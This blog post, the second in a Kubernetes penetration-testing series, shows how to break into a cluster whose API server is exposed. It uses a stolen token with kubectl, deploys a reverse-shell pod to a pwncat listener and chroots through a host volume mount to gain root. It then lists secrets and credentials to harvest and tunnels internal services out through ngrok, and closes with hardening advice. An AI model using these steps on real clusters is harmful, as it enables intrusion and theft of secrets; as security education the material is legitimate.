Ways to get into the Kubernetes cluster — Part 2

Kubernetes sinking when cluster got compromised.

This is the second part of this blog series; find Part 1 here. https://manojdeshmukh45.medium.com/ways-to-get-into-the-kubernetes-cluster-part-1-2e86c3dea123

In Part 2, we will continue to get into the Kubernetes cluster. In the previous part, we created the cluster and deleted the cluster using curl. Now we have a better way to gain access to the cluster.

In the prevos part, we got the token, and we were doing curl. Instead of that, we can use this command on your local machine.

If you are familiar with Kubernetes CLI, then you can run all commands here in CLI.

kubectl --token "$TOKEN" --insecure-skip-tls-verify --server=https://<ip:port> <Kubectl commands>

Copy the token and type TOKEN=<token> in your terminal. Now that the token is saved in ENV, we can run the commands.

kubectl --token "$TOKEN" --insecure-skip-tls-verify --server=https://<ip:port> get pods

It will give a list of pods in the cluster.

Kubernetes pods on cluster

Here you can R/W deployments, services, secrets, namespaces, configmaps, etc.

Check for permissions before you create a pod.

Checking for permission to create pods

Now we will create a pod and get a reverse shell connection.

First, save the the yaml file to create a pod ( find the code in part 1)

Now open the machine where you need to get the reverse shell.

Install https://github.com/calebstewart/pwncat, pwncat is a fancy terminal for reverse shell.

Run the command to open the pwncat connection.

pwncat-cs -lp 12345

Note: Before creating the pod, you need to run the pwncat to listen to the connection. If the connection is not listening, the pod will go to ContainerStatusUnkown, because the connection has not been established.

Now apply the yaml file and create a pod of your own.

kubectl --token "$TOKEN" --insecure-skip-tls-verify --server=https://<ip:port>/ apply -f file.yaml

Pod containing revershell deployed

Now that the pod has been created, check the reverse shell connection. It will show you 1 active connection, then type CTRL+ D to get into the shell.

Reverse Shell connection recived at our end

Now that you are inside the pod in which you were created, you can ping the services running on the cluster, because right now you will be in the same VPC, so you will be able to see the services running.

To gain cluster access, use the volume mount vulnerability and run

chroot /demo bash

Here /demo is the Volumemount we add in the yaml file while creating the pod.

Root access to cluster

You now have full access to the cluster root user.

Inside the Cluster

As a cluster root user, you can use your Linux skills to find all the information about the services running.

Mainly here,check for the kubectl command; if it is not there, install kubectl.

Check kubectl get pods; if the specific permissions are there, you will get pods; if not, if you have a kubeconfig file, add it manually.

You will be able to see all the pods as a cluster admin.

Using this command “kubectl — token “$TOKEN” — insecure-skip-tls-verify — server=https://<ip:port> get pods”, we did the same and were able to get pods, so why should we need to check in cluster?

Here, as a cluster admin, you can exec all pods present; you can get inside any pod you want and check for the environment, services, source code, and many more aspects of the pod.

exec to pods

If you don't have full permission to cluster, if you find the service.json file anywhere in the secrets, you can write a Python script to access the cluster, or you can do a role-binding to your pod to get access to the service account.

How do I check the service UI?

1. Run “kubectl get svc” find the external IP address; it might be the load balancer or Ingress running. Do the https://search.censys.io/ where it will give the DNS where you can check for the service in UI
2. If the external IP is not present, go with the flow below and give it a shot.

Run “kubectl get svc” and check for services running; note the IP address and port number.

Install Ngrok in your local machine and port forward the service to the local host using below command

 kubectl --token "$TOKEN" --insecure-skip-tls-verify --server=https://<ip:port> -n <namespace> port-forward svc/<service name> <local port Number>:<service port number> | ngrok http <port>

This command will do a portforword and will run in the local, and Ngrok will give you an external link doing port forwarding from the local host to the Ngrok server. Open the link provided by the ngork, you will get the service UI.

What are the main things I’m supposed to see when getting an APi server and full access to the cluster?

1. Check for the username and password present in the Secrets
2. Check for Json files in the Secrets
3. Check for all deployment files; there might be hardcoded data there.
4. Check for env while you are in the pods
5. Check the source code.
6. Check the Docker containers running.
7. Do exec to docker containers. If you have permissions, you can get inside Docker.
8. Check for all data stored by the cluster root user; there might be some YAML files or some important data there.
9. Check for services running inside the cluster and try to see the UI.

Conclusion.

Leaving an API open with full permission can compromise all services in the cluster. Where the attacker can see all the secrets of the service and gain cluster root access to your Kubernetes.

1. Secure your Kubernetes in all aspects, from securing API services running on different ports.
2. Don't save the token in secret.
3. Use the RABC for namespaces.
4. Use Falco—Falco is a cloud-native security tool designed to detect security threats in real time.
5. Don't hardcode the credentials in deployments.
6. Secure the kubeconfig file.
7. Implement network policies to control pod-to-pod communication.
8. Limit access to sensitive information.
9. Restrict communication between namespaces.
10. Enforce pod security policies to control pod behavior.
11. Define policies for privilege escalation, host namespace sharing, etc.
12. Limit pod capabilities and run as non-root when possible.

Special thanks to Riyaz Walikar for supporting me in learning Kubernetes Pentetsing.